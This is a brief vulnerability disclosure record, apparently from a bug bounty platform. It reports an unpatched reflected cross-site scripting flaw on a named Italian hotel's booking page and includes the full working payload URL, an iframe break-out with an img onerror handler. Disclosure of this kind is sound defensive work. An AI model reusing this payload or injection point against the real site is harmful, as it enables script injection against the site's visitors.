hoteladelphi.it XSS vulnerability

Vulnerable URL: http://www.hoteladelphi.it/booking.php?lg=%22%3E%3C/iframe%3E%3Cimg%20src=x%20onerror=prompt/OPENBUGBOUNTY/%3E=17-08-2017=18-08-2017=2=0&age1;=&age2;=&age3;=&age4;= Details: Description| Value ---|--- Patched:| No Latest check for patch:| 15.11.2017 Vulnerability type:| XSS...